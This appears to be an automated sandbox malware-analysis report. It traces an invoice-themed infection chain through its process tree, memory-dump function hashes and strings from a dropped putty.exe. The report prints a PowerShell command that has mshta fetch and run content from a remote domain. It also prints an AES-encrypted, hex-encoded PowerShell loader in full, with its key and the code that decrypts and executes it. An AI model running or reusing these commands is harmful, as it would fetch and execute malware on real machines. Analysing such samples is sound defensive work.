Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:47:16
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:47:16
Start date:	02/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	. mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:47:18
Start date:	02/07/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage
Imagebase:	0x7ff7fd880000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:47:21
Start date:	02/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:47:22
Start date:	02/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB = [System.Security.Cryptography.Aes]::Create();$fcuYB.Key = FwbFg('615241616D494A7A70714B63736F6771');$fcuYB.IV = New-Object byte[] 16;$uIvTQuuE = $fcuYB.CreateDecryptor();$TRZjYlWGC = $uIvTQuuE.TransformFinalBlock($JMNVEMgx, 0, $JMNVEMgx.Length);$xbgxJDMGJ = [System.Text.Encoding]::Utf8.GetString($TRZjYlWGC);$uIvTQuuE.Dispose();& $xbgxJDMGJ.Substring(0,3) $xbgxJDMGJ.Substring(3)
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:47:22
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:47:25
Start date:	02/07/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\upsinvoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:47:26
Start date:	02/07/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	06:47:26
Start date:	02/07/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2068 --field-trial-handle=1612,i,8777765815647240149,11795078331004045366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:47:29
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\putty.exe"
Imagebase:	0x7ff6785d0000
File size:	1'663'264 bytes
MD5 hash:	5EFEF6CC9CD24BAEEED71C1107FC32DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Function 0000023F9FCE0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1780749027.0000023F9FCE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F9FCE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_23f9fce0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: b3629e91c4070d69ed4a0c60f5fec3af22167740d9133970966d3793c6667f95
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 769002048D960655D45511D11D4939C50406388151FD588904417A0144D44D07A65192

Function 0000023F9FCE0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1780749027.0000023F9FCE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F9FCE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_23f9fce0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: b3629e91c4070d69ed4a0c60f5fec3af22167740d9133970966d3793c6667f95
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 769002048D960655D45511D11D4939C50406388151FD588904417A0144D44D07A65192

Function 0000023F9FCE0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1780749027.0000023F9FCE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F9FCE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_23f9fce0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: b3629e91c4070d69ed4a0c60f5fec3af22167740d9133970966d3793c6667f95
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 769002048D960655D45511D11D4939C50406388151FD588904417A0144D44D07A65192

Function 0000023F9FCE0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1780749027.0000023F9FCE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F9FCE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_23f9fce0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: b3629e91c4070d69ed4a0c60f5fec3af22167740d9133970966d3793c6667f95
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 769002048D960655D45511D11D4939C50406388151FD588904417A0144D44D07A65192

Analysis Process: powershell.exePID: 4620, Parent PID: 4996COMMON

Executed Functions

Function 00007FFB49B283C1 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFB49B28621

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 3aec3d3eec9a234a90cb97ecc66295058529cd20185fbe9625aa89f205acb718
Instruction ID: 7f894241a2bcb9363d4cfc19086f1f0403199f18f76dd3a61286844d2591ff45
Opcode Fuzzy Hash: 3aec3d3eec9a234a90cb97ecc66295058529cd20185fbe9625aa89f205acb718
Instruction Fuzzy Hash: 3AD18370A1CA4E8FDF95EF68C445AA97BF1FF68300F144169D449D7695CA34EC42CB81

Function 00007FFB49B266FB Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af31815677304dd36b5c59ba6d51f41190a97d08229d6e19e836d59855bb6763
Instruction ID: 6af5f979a67f385fe601a22d011e81950f68de4f205f56b1d473154b5e5905fd
Opcode Fuzzy Hash: af31815677304dd36b5c59ba6d51f41190a97d08229d6e19e836d59855bb6763
Instruction Fuzzy Hash: 1DE19371A0CA4E8FDB89EF6CC459AA977E1FF68300F14416AD409D7296CA35EC82C7C1

Function 00007FFB49BF4C9B Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775900551.00007FFB49BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4398242d1871be536f3e2bede7ddd4e008b5776155f14201354619fa2d8c8c54
Instruction ID: 8b580b8a839eeaf38a40d64f60d9c5f71832d4fc2df5d3d03731765e6521e682
Opcode Fuzzy Hash: 4398242d1871be536f3e2bede7ddd4e008b5776155f14201354619fa2d8c8c54
Instruction Fuzzy Hash: 51E135B6A0DB4F4FE799EF38C8595B87BE2EF54310B1801BED44DC7596CA29AC068341

Function 00007FFB49B2712C Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008366e0ada5c6ad07768574e5ad2e0fdc109b33c833a25ade94d118f38d7b47
Instruction ID: 1d3d0040af418a30b782dc722f7904eae2b10b3366b183985bba31a6cb90d8f4
Opcode Fuzzy Hash: 008366e0ada5c6ad07768574e5ad2e0fdc109b33c833a25ade94d118f38d7b47
Instruction Fuzzy Hash: EBE19671A0C94E8FDB89EF6CC495AA977E1FFA8300F14416AD849D7295CA35FC42C781

Function 00007FFB49BF476E Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775900551.00007FFB49BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a4bb14404c123dcf2d4885682649527b88387e6c2b3c5d028016e74b758914
Instruction ID: 6e172f1f5a6185ceaf63cd7013bae161149639cd03bee3d0557a3b4f3407f9e7
Opcode Fuzzy Hash: 69a4bb14404c123dcf2d4885682649527b88387e6c2b3c5d028016e74b758914
Instruction Fuzzy Hash: 966126A6A1EA8F0FE7A9FE7C892917966C3DF85250B5801BAD44DC79D6DC089C058381

Function 00007FFB49BF36FC Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775900551.00007FFB49BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4931bfb4244189f4f06dc402869a8057230879cac87528a5ea46f43dfe40787a
Instruction ID: 5fcbc2ba54a6fd94b0862959ffc7ab4bf117deb1ba30ce2c1d957b25efcb8187
Opcode Fuzzy Hash: 4931bfb4244189f4f06dc402869a8057230879cac87528a5ea46f43dfe40787a
Instruction Fuzzy Hash: 4C5138D2A0EBCB0FE396AE7898641747FE1DF56660B1901FBD089C75D7E80C5C458392

Function 00007FFB49BF47BA Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775900551.00007FFB49BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e373f8b89c1bfda7a53a5d38d6ff1050c2e2c94896d7aacaef69d94f94ef080
Instruction ID: f6f4ffd99d9c19199b27e8614b8c40fbe3c4d52862f9a0dc00edb78543c91c5e
Opcode Fuzzy Hash: 5e373f8b89c1bfda7a53a5d38d6ff1050c2e2c94896d7aacaef69d94f94ef080
Instruction Fuzzy Hash: CD41F5DAE1EACF0BF3A9FE3C896917955C3DF92690B5801B9D44DC79D6DC089C094242

Function 00007FFB49B2545A Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89f26cf424b4e2072b57b9fd603bbc8fa547ea491b90500645647cd991bcbf62
Instruction ID: 72a5343b6239779c287aaab2e4433688512b8d9112e6e3ec81c4f19d62cf4d1f
Opcode Fuzzy Hash: 89f26cf424b4e2072b57b9fd603bbc8fa547ea491b90500645647cd991bcbf62
Instruction Fuzzy Hash: F301497271CB058FD358EE1CA8851B577D1EB98330B14053EE4CAC3697E922E8438346

Function 00007FFB49B2834E Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c626c9dcea33e0d108ad5391e1e54b09cbf9a14cb21a10c15c20a68586c40ed2
Instruction ID: 658f866f3be8d0c665fe10170bfa5239b60ad48328b2fe10c8cf621324407d8e
Opcode Fuzzy Hash: c626c9dcea33e0d108ad5391e1e54b09cbf9a14cb21a10c15c20a68586c40ed2
Instruction Fuzzy Hash: A2F09C7271CA094FD75CEE1CE44557473D1EB99311B10053EF48BC3696DD26E8478646

Function 00007FFB49B23A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 32cde77e132f4efe12f5bc23ff859d22c0b90baf1b7ef8ce43cab9e0e2d7db5c
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 5A01677111CB0D4FD748EF0CE451AA5B7E0FB99364F10056DE58AC3651D636E892CB46

Function 00007FFB49B28363 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775325123.00007FFB49B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582b4049b824f7dac26a11579bfb6cf364f752f80a38f7f447e1886fdda4364e
Instruction ID: 158c1cf91b4876e9fd2fc5a2a6c2700eb4dd625fb3970bbae0209f6e3512a542
Opcode Fuzzy Hash: 582b4049b824f7dac26a11579bfb6cf364f752f80a38f7f447e1886fdda4364e
Instruction Fuzzy Hash: 1FF0303275C6044FDB4CEA1CF8429B573D1EB99334B10066EE48BC2656D927E8478685

Function 00007FFB49BF04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1775900551.00007FFB49BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb49bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0295c5d3d63b64c708d4f20ba79b8c2209357a23d0e6f4a6ef38c8c6d6ed27b
Instruction ID: ef2c89ae87a4bca8dc8d60894ee4ad7ed0d751fe63331fba5be81df38a6f9e56
Opcode Fuzzy Hash: d0295c5d3d63b64c708d4f20ba79b8c2209357a23d0e6f4a6ef38c8c6d6ed27b
Instruction Fuzzy Hash: 06E0DFB3E0ED2F1FABA5FEACA9591F86681EF54321B1801B7EA2CC3995DC009C104381

Analysis Process: putty.exePID: 8156, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	55

Executed Functions

Function 00007FF67861BD50 Relevance: 710.4, Strings: 565, Instructions: 4164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Local echo:, xrefs: 00007FF67861CB01
Disable remote-controlled clearing of scrollback, xrefs: 00007FF67861D412
config-proxy-auth, xrefs: 00007FF67861EC4A
WAITS, xrefs: 00007FF678620BF0
Use background colour to erase screen, xrefs: 00007FF67861C9C5
Environment variables, xrefs: 00007FF67861E7E2
config-localedit, xrefs: 00007FF67861CB76
config-ssh-bug-sig, xrefs: 00007FF6786204D3
Delete, xrefs: 00007FF67861C450
Host keys or fingerprints to accept:, xrefs: 00007FF67861F3E7
config-serial-stopbits, xrefs: 00007FF678620819
Session, xrefs: 00007FF67861BEB6, 00007FF67861BF10, 00007FF67861C2C1, 00007FF67861C487
IPv6, xrefs: 00007FF67861E4DF, 00007FF6786201A0
Standard, xrefs: 00007FF67861CCFE
Gap between text and window edge:, xrefs: 00007FF67861D966
Sharing an SSH connection between PuTTY tools, xrefs: 00007FF67861EF85
Terminal/Features, xrefs: 00007FF67861D225
config-logging, xrefs: 00007FF67861C663
Nothing on this panel may be reconfigured in mid-session; it is only here so that sub-panels of it can exist without looking strange., xrefs: 00007FF67861EE39
Always overwrite it, xrefs: 00007FF67861C775
config-features-altscreen, xrefs: 00007FF67861D324
basics, xrefs: 00007FF67861E9D8
Configure the behaviour of %s's window, xrefs: 00007FF67861D97E
Connection, xrefs: 00007FF67861E37A, 00007FF67861E413
VT400, xrefs: 00007FF67861CDEA
Discards data sent before its greeting, xrefs: 00007FF6786203FB
config-autowrap, xrefs: 00007FF67861C918
Chokes on SSH-1 ignore messages, xrefs: 00007FF6786205F7
config-ssh-tis, xrefs: 00007FF67861F739
Handles SSH-2 key re-exchange badly, xrefs: 00007FF6786202F8
config-crlf, xrefs: 00007FF67861C972
config-oldenviron, xrefs: 00007FF678620976
Plugin command to run, xrefs: 00007FF67861F911
Attempt GSSAPI authentication (SSH-2 only), xrefs: 00007FF67861F96E
config-proxy-type, xrefs: 00007FF67861EA08
Window/Selection, xrefs: 00007FF67861DC6F
config-ssh-prot, xrefs: 00007FF67861F09E
Remote character set:, xrefs: 00007FF67861DAF2
Block, xrefs: 00007FF67861D7EF
Options controlling use of colours, xrefs: 00007FF67861E027
Include header, xrefs: 00007FF67861C807
Terminal/Keyboard, xrefs: 00007FF67861CC0E, 00007FF67861CEFD
Allow GSSAPI credential delegation, xrefs: 00007FF67861F9C7
Telnet negotiation mode:, xrefs: 00007FF678620A15
config-features-qtitle, xrefs: 00007FF67861D3CE
Local username:, xrefs: 00007FF678620B0C
config-environ, xrefs: 00007FF67861E848
config-features-mouse, xrefs: 00007FF67861D2CA
config-font, xrefs: 00007FF67861D8BB
n_ui_backends > 0 && n_ui_backends < PROTOCOL_LIMIT, xrefs: 00007FF67861C0FB
Set various terminal options, xrefs: 00007FF67861C8E8
tweaks, xrefs: 00007FF67861DB0A
publickey, xrefs: 00007FF67861F807
Plugin to provide authentication responses, xrefs: 00007FF67861F8C1
Visual bell (flash window), xrefs: 00007FF67861D086
config-ssh-auth-gssapi-libraries, xrefs: 00007FF67861FA0A
trans, xrefs: 00007FF67861DAA3
Terminal modes to send:, xrefs: 00007FF67861FAEF
Other authentication-related options, xrefs: 00007FF67861F77F
config-ssh-bug-winadj, xrefs: 00007FF678620324
config-ansicolour, xrefs: 00007FF67861E070
Options controlling copying from terminal to clipboard, xrefs: 00007FF67861DEA2
config-xtermcolour, xrefs: 00007FF67861E09D
BSD (commonplace), xrefs: 00007FF678620959
Don't allocate a pseudo-terminal, xrefs: 00007FF67861FAAA
Options controlling local serial lines, xrefs: 00007FF6786206BA
repeat, xrefs: 00007FF67861F18D
Control-? (127), xrefs: 00007FF67861CC69
Disable switching to alternate terminal screen, xrefs: 00007FF67861D31D
Use system username (%s), xrefs: 00007FF67861E688
Linux, xrefs: 00007FF67861CE0C
config-backspace, xrefs: 00007FF67861CC9A
Options controlling copy and paste, xrefs: 00007FF67861DC76
Key, xrefs: 00007FF67861F4BF
Window/Behaviour, xrefs: 00007FF67861D997
Connection/Rlogin, xrefs: 00007FF678620AA3
Port, xrefs: 00007FF67861BFCA, 00007FF67861EAD6
Xterm R6, xrefs: 00007FF67861CDFB
Private key file for authentication:, xrefs: 00007FF67861F85B
Adjust the use of the mouse pointer, xrefs: 00007FF67861D8D4
DEC Origin Mode initially on, xrefs: 00007FF67861C93E
Indicate bolded text by changing:, xrefs: 00007FF67861E15F
Command to send to proxy (for some types), xrefs: 00007FF67861ECF1
Attempt GSSAPI key exchange (SSH-2 only), xrefs: 00007FF67861F99E
Connection/SSH/Kex, xrefs: 00007FF67861F0ED
config-ssh-tryagent, xrefs: 00007FF67861F70C
config-ttymodes, xrefs: 00007FF67861FAF6
backends[c->radio.nbuttons], xrefs: 00007FF67861C1E2
Print proxy diagnostics in the terminal window, xrefs: 00007FF67861ED92
VT100+, xrefs: 00007FF67861CDD9
Vertical line, xrefs: 00007FF67861D7CD
Options controlling SSH port forwarding, xrefs: 00007FF67861FE61
config-cjk-ambig-wide, xrefs: 00007FF67861DB3D
Load, save or delete a stored session, xrefs: 00007FF67861C2AB
Speed (baud), xrefs: 00007FF678620791
None (bell disabled), xrefs: 00007FF67861D0A8
Connection/Serial, xrefs: 00007FF6786206B3, 00007FF6786206CE, 00007FF67862073A
Window/Appearance, xrefs: 00007FF67861D761
Warn before closing window, xrefs: 00007FF67861DA71
Select a serial line, xrefs: 00007FF6786206DC
Options controlling SUPDUP connections, xrefs: 00007FF678620B47
config-erase, xrefs: 00007FF67861C9CC
Other:, xrefs: 00007FF67861C1FB
Return key sends Telnet New Line instead of ^M, xrefs: 00007FF678620A6E
config-ssh-comp, xrefs: 00007FF67861EF5C
Disable remote-controlled terminal resizing, xrefs: 00007FF67861D2F0
Proxy type:, xrefs: 00007FF67861EA14
Value, xrefs: 00007FF67861E89C
Enable compression, xrefs: 00007FF67861EF55
config-cursor, xrefs: 00007FF67861D80C
Select session log file name, xrefs: 00007FF67861C6E8
